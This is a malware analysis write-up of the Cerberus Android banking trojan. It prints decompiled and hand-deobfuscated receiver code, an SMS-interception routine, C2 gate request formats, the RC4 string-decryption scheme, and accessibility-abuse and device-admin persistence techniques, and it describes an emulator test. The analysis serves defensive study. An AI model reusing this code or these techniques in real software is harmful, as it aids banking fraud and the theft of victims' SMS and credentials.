Exploring Modern Malware Cerberus for Android

On the nose 2020 and today we already have the Android version 9.0 Pie, where Google beats in the chest and says that their product is protected. But the villains do not sleep and create their own malware for Android.
Randomly, I came across an obfuscated apk file, which is a banking malware called “Cerberus”, and it appeared in 2019.
The APK file of this botnet came to me with an invalid server connection address, so part of the logic of work and functionality has remained unexplored, since this botnet uses a “modular” system, and loads the functionality directly from its server.
Analysis apk package
After analyzing the apk package, I compiled the structure of the Trojan program:
- Receiver, autorun + alarm;
- Service, runs in a cycle with an interval of 8 seconds, it is responsible for displaying a pop-up message to enable the Accessibility Service, activate the screen lock function and disable administrator rights;
- Service, collecting data from the sensors of the device, so the malware received the physical activity of the device;
- Service, in a cycle locks the device screen;
- Service, is responsible for exchanging data with the server;
- Activity, loads the html code in the WebView, and shows the contents, serves to replace the activity of the bank application;
- Activity, requests dangerous permissions.
- Class, stores in itself the main lines (String) of the project
Let's start with the manifest
The application’s manifest is quite interesting, and you can already determine from it that this is not a simple application, but an ordinary malware.
For example, consider permissions for an application:
Here you can see that the application gets access to SMS, contacts, calls, the Internet, the application is in sleep mode.
We go further and see privileges that allow the application to become the main one for receiving / sending SMS, this is the villains used to hide SMS messages on the victims' phones.
And of course the Receiver, it serves to autostart services, and intercept SMS.
Administrator rights, this is already much more interesting. The application needs them to block the removal of the application (with administrator rights enabled, the application will simply not have a “delete” button), as well as these rights will allow you to delete everything from the device and block the device.
Well, the most interesting is the Accessibility Service. It is used so that the malware can click on the screen itself, and give itself the necessary permissions, including admin rights. Through this permission, attackers monitor all user actions on the device.
Well, the rest of the services and activities that are of little interest without a valid Malvari server address.
In general, the malware does not use anything supernatural, it does not use any 0-day on the android. Attackers need to get one permission from the victim, and no more, then the malware will do everything itself.
Google would need to limit some of the API capabilities for non-play apps.
Receiver
The code of this class is obfuscated, but this does not prevent it from being studied.
Obfuscated Code
public void onReceive(Context context, Intent intent) {
int i;
C0005b bVar;
String str;
String sb;
if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) {
this.f345b.mo24a(this.f347d, this.f344a.f46aT);
C0005b bVar2 = this.f345b;
this.f344a.getClass();
C0005b.m16a(context, "", 10000);
int i2 = 0;
while (true) {
if (i2 < this.f344a.f241ec.length) {
if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) {
break;
}
if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) {
if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) {
context.stopService(new Intent(context, this.f344a.f241ec[i2]));
}
bVar = this.f345b;
str = this.f347d;
StringBuilder sb2 = new StringBuilder();
sb2.append(this.f344a.f90bK);
sb2.append(this.f344a.f241ec[i2]);
sb = sb2.toString();
} else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) {
context.startService(new Intent(context, this.f344a.f241ec[i2]));
bVar = this.f345b;
str = this.f347d;
StringBuilder sb3 = new StringBuilder();
sb3.append(this.f344a.f88bI);
sb3.append(this.f344a.f241ec[i2]);
sb = sb3.toString();
} else {
int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU));
this.f344a.getClass();
if (parseInt >= 0) {
context.startService(new Intent(context, this.f344a.f241ec[i2]));
bVar = this.f345b;
str = this.f347d;
StringBuilder sb4 = new StringBuilder();
sb4.append(this.f344a.f89bJ);
sb4.append(this.f344a.f241ec[i2]);
sb = sb4.toString();
} else {
i2++;
}
}
bVar.mo24a(str, sb);
i2++;
} else {
break;
}
}
this.f345b.mo23a(this.f347d, context);
this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM);
if (intent.getAction().equals(this.f344a.f29aC)) {
this.f345b.mo20a(context, intent);
}
try {
i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af));
int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1;
i++;
C0005b bVar3 = this.f345b;
String str2 = this.f344a.f57ae;
StringBuilder sb5 = new StringBuilder();
this.f344a.getClass();
sb5.append("");
sb5.append(parseInt2);
bVar3.mo22a(context, str2, sb5.toString());
C0005b bVar4 = this.f345b;
String str3 = this.f344a.f58af;
StringBuilder sb6 = new StringBuilder();
this.f344a.getClass();
sb6.append("");
sb6.append(i);
bVar4.mo22a(context, str3, sb6.toString());
} catch (Exception e2) {
e = e2;
i = 0;
C0005b bVar5 = this.f345b;
String str4 = this.f344a.f252p;
StringBuilder sb7 = new StringBuilder();
sb7.append("(pro8) | vvcy ");
sb7.append(e.toString());
sb7.append("::endLog::");
bVar5.mo31b(context, str4, sb7.toString());
if (i >= 3) {
return;
}
return;
}
if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) {
if (this.f345b.mo33b(context, pzjzcxauihlf.class)) {
this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP);
}
Intent intent2 = new Intent(context, lvhxcug.class);
intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP);
intent2.addFlags(268435456);
intent2.addFlags(536870912);
intent2.addFlags(1073741824);
context.startActivity(intent2);
C0005b bVar6 = this.f345b;
String str5 = this.f344a.f58af;
StringBuilder sb8 = new StringBuilder();
this.f344a.getClass();
sb8.append("");
sb8.append(0);
bVar6.mo22a(context, str5, sb8.toString());
}
}
}And now a little explanation on the code.
Malvari settings are stored in an XML file, the file is located in the directory /data/data/package_name/shared_prefs/Settings.xml
- public String ReadXML - method for reading settings
- public String SaveXML - method for saving settings
- public boolean DozeMode - Checks if Doze Mode is enabled
- public class Service_fa extends Service - Service for assembling the physical activity of the device (steps, shaking the phone, etc.)
- public class Service_server extends Service - Service for connecting to the server
- public class Service_event_loop extends Service - A service that runs in an infinite loop for performing some functions of malvari
- public void startOffDozeMode - request to disable Doze Mode
- public void startAlarm - Start the receiver every 10 seconds
- public void interceptionSMS - Method for working with SMS interception
- public boolean isAccessibilityService - method for checking whether the Accesibility Service is enabled or not
- public boolean cis - a method that blocks the operation of malvari in countries belonging to the CIS, namely: ua, ru, by, tj, uz, tm, az, am, kz, kg and md (abbreviated names of countries)
I tried to bring the obfuscated code above into a more readable and normal form:
Readable code
public void onReceive(Context context, Intent intent) {
public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class};
if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) {
startAlarm(context, "", 10000);
for (int i = 0; i < arrayService.length; i++) {
if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break;
if (!isMyServiceRunning(context, arrayService[i])) {
if (Service_fa.class.getName().equals(arrayService[i].getName())) {
startService(new Intent(context, arrayService[i]));
} else if (Integer.parseInt(ReadXML(context, "step")) >= 1) {
startService(new Intent(context, arrayService[i]));
}
}else{
if(Service_server.class.getName().equals(arrayService[i].getName())){
stopService(new Intent(context, arrayService[i]));
}
}
}
startOffDozeMode(context);
if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
interceptionSMS(context, intent); // Перехват СМС
}
if (isAdminDevice(context)) {
if ((getScreenBoolean(context)) && (isAccessibilityServiceEnabled(context, srvSccessibility.class))) {
if (isAccessibilityServiceEnabled(context, srvSccessibility.class)) {
SaveXML(context, consts.autoClick, "1");
}
Intent intent = new Intent(context, Admin.class);
intent.putExtra("admin", "1");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
startActivity(intent);
}
}
}
public void interceptionSMS(Context context, Intent intent){
Bundle bundle = intent.getExtras();
if (bundle != null) {
final Object[] pdus = (Object[]) bundle.get(consts.string_116);
String number = "";
String text = "";
if (pdus != null) {
for (Object aPdusObj : pdus) {
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) aPdusObj);
number = smsMessage.getDisplayOriginatingAddress();
text += smsMessage.getDisplayMessageBody();
}
SaveXML(context, "LogSMS", "Number: " + number + " Text: " + text + "::endLog::");
}
}
}
}So I think the code has become more understandable to many readers.
Receiver has 3 triggers for triggering, which is when the device is rebooted, received SMS, or when Alarmon starts.
Receiver also launches 3 services:
- Collection of physical activity of the device (Service_fa)
- Service for connecting to the server (Service_server)
- A service that runs in an endless cycle for executing some functions of malvari (Service_event_loop)
First of all, Service_fa is launched and only after the device is active (if the owner of the phone is walking and the phone is shaking), Service_server and Service_event_loop are launched. They are the main process of malvari, in this way the malvari can weed out real devices from emulators and devices of receivers, av and others.
Receiver also launches a Doze Mode disconnect request and an administrator confirmation request.
Since the malware has administrator privileges, it cannot be removed from the device until the rights are removed.
Admin Rights
Let’s look at the possibilities we have thanks to the Admin Device.
the force-lock element is responsible for locking the device’s screen lock, and wipe-data for deleting the DATA, CACHE, and all memory on the device (its full reset).
Service_fa
With this we will end up looking at Receiver, and consider other services. A service that takes data from sensor sensors using the SensorManager class, this service simply receives activity data and saves it to an XML file.
Thanks to this, villains will be able to get a history of activity and analyze it to weed out emulators and especially lazy users.
Service_server
This stream was created for communication with the server, data is transmitted to the server in encrypted form using the RC4 encryption algorithm encoding everything in base64 after it.
When the service starts, the first request to the server looks like this:
{
"id":"qoietjeoisfhjdfhk",
"idSettings":"",
"number":"+79999999999",
"statAdmin":"1",
"statProtect":"0",
"statScreen":"1",
"statAccessibilty":"0",
"statSMS":"1",
"statCards":"0",
"statBanks":"0",
"statMails":"0",
"activeDevice":"53",
"timeWorking":"342",
"statDownloadModule":"0",
"batteryLevel":"78",
"locale":"fr"
}
I filled in the data sent to the server randomly, by the name of the parameters I think everything is clear which one is responsible for what, we will not stop on their analysis.
Now we look at what server responses can be, the malware checks to see if it returns an empty answer, if so, then it starts sorting through the array of server domains in a loop and sending this request to each domain, and if the answer contains the line == "~ I ~", then Malware stops at this domain and starts working with it.
We have decided which domain we are working with, now we are looking at the rest of the answers.
If Response == "|| youNeedMoreResources ||" is returned then immediately a request is made to the server to get an additional malvari module:
gate_url? action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}
Go ahead, Response == "|| no ||" sends the gate_url? action = registration & data = JSON
request to the server :
{
"id":"qoietjeoisfhjdfhk",
"android": Build.VERSION.RELEASE,
"tag":"tag",
"country":"fr",
"operator":"Megafon",
"model":"Samsung Galaxy S9"
}This request serves to register a new user in the admin panel, this is the end of the server request.
But below there is a condition that checks for the presence of the “system.apk” file.
Obfuscated code:
if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){}Simplified code:
if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {}if the file is present, JSON is generated in the form:
{
"params":"updateSettingsAndCommands",
"response":"data"
}The response from the server is passed to the response parameter, then json is passed to the method that is located in the system.apk module and it is executed using the DexClassLoader class.
Service_event_loop
This service works in a loop and waits for a command to block the device. The device is blocked in the loop using administrator rights.
DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
deviceManager.lockNow();This service can disable administrator rights, apparently the author of the malvari decided to do this for the "self-destruction" of the malvari, so as not to leave traces on the victims' phone.
ComponentName componentName = new ComponentName(this, DeviceAdmin.class);
DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
devicePolicyManager.removeActiveAdmin(componentName);Also, the cycle has 2 operating speeds, 1 second and 8 seconds, if the Accessibility Service is disabled, it works on the 1st second and asks to enable this service, simply opening the Activity and forces you to enable special features, in practice we will consider this in detail.
At the end of the cycle, there is also an implementation like in Service_server, but specifically sending commands to a method that is inside the loaded module “system.apk”, but the parameters are not many different, see JSON:
{
"params":"serviceWorkingWhile",
"tick":"100",
"idbot":"qoietjeoisfhjdfhk",
"accessibility":"1"
}tick - seconds that the service cycle counts, accessibility - checks if the Accesibility Service is enabled.
Class String (s)
All lines inside the class are encrypted with the RC4 algorithm, and then encoded in base64.
Example:
encrypted string: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
where the first 12 characters of the page are the decryption key of the RC4 algorithm
Keys: yyshybiwijuj
Encrypted text: YzdkZDdkMjRlYjJmYjU5Y2Qw
Here's the code part
/* renamed from: A */
public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw");
/* renamed from: B */
public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx");
/* renamed from: C */
public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA==");
/* renamed from: D */
public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy");
/* renamed from: E */
public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ=");
/* renamed from: F */
public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA==");
/* renamed from: G */
public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi");
/* renamed from: H */
public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5");
/* renamed from: I */
public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc=");I wrote a script to convert these lines to their normal form, this helped me pass a little time.
/* renamed from: A */
public final String str_statMails = "statMails";
/* renamed from: B */
public final String str_activeDevice = "activeDevice";
/* renamed from: C */
public final String str_timeWorking = "timeWorking";
/* renamed from: D */
public final String str_statDownloadModule = "statDownloadModule";
/* renamed from: E */
public final String str_lockDevice = "lockDevice";
/* renamed from: F */
public final String str_offSound = "offSound";
/* renamed from: G */
public final String str_keylogger = "keylogger";
/* renamed from: H */
public final String str_activeInjection = "activeInjection";
/* renamed from: I */
public final String str_timeInject = "timeInject";We also see what is stored in this class:
/* renamed from: ay */
public final String str_url = "https://twitter.com/LukasStefanko";
/* renamed from: az */
public final String str_Accessibility = "Flash Player Service";
/* renamed from: bb */
public final String str_gate1 = "action=registration&data=";
/* renamed from: bc */
public final String str_gate2 = "action=sendInjectLogs&data=";
/* renamed from: bd */
public final String str_gate3 = "action=sendSmsLogs&data=";
/* renamed from: be */
public final String str_gate4 = "action=timeInject&data=";
/* renamed from: bf */
public final String str_gate5 = "action=sendKeylogger&data=";
/* renamed from: bg */
public final String str_gate6 = "action=getModule&data=";
/* renamed from: bh */
public final String str_gate7 = "action=checkap&data=";
/* renamed from: bj */
public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";Lukas Stefanko (@LukasStefanko) was indicated on the server URL, apparently the author wanted to joke or say something to Lucas (This is an analyst from NOD32), the name Accessibility Service + is also stored here in the manifest android: label = “Flash Player Service ”, and a list of countries for which the malware does not work.
Rest
Briefly describe the work of injections. It is implemented simply, if the Accessibility Service is enabled, then this service simply catches the event of the launch of the banking application and launches its activity on top of the bank’s activity, where it has a WebView object that downloads the bank’s html fake, after which it receives data using JavaScript and sends data to Malvari server.
Also in this service is implemented Keylogger, blocking removal of malware and auto-click on confirmations. A security disconnect interaction was detected in the com.miui.securitycenter application. This application is called "Security" which is used on Xiaomi devices, its main tasks are to monitor the security of your sensitive data. A code was also found to automatically turn off "Google Play Protect" using the autoclick method.
Let's move on to practice
I managed to find the villains twitter and get a screenshot of the admin panel. I

install the apk package on the emulator with API 27.
The icon of the flash player with the name “Flash Player” appeared on the desktop
Screenshot

We are waiting for the icon, and we have launched the malware.
After starting the Malvari, Activity automatically starts with the requirement to enable the Accessibility Service, if you minimize it, it will appear again and this happens in a cycle until I turn on the service.
Screenshot



After turning on the Accessibility Service checkbox, an automatic transition from settings to the desktop was performed, and I couldn’t get into the Accessibility Service settings anymore, the desktop icon also disappeared, after a few seconds the Doze Mode shutdown request appeared, it automatically turned off thanks to the special features auto-click .
Screenshot

Next in the same way was auto confirmation of administrator rights. It was not possible to delete the malware manually because when opening the settings for this application, it automatically exited back (GLOBAL_ACTION_BACK).
Actually, this is all in the first part, I will soon write the second part with an additional, and possibly with the main module of this bot, as I could not find the apk file of the malware with a valid link to the server.
Malvari reverse was implemented in conjunction with keklick1337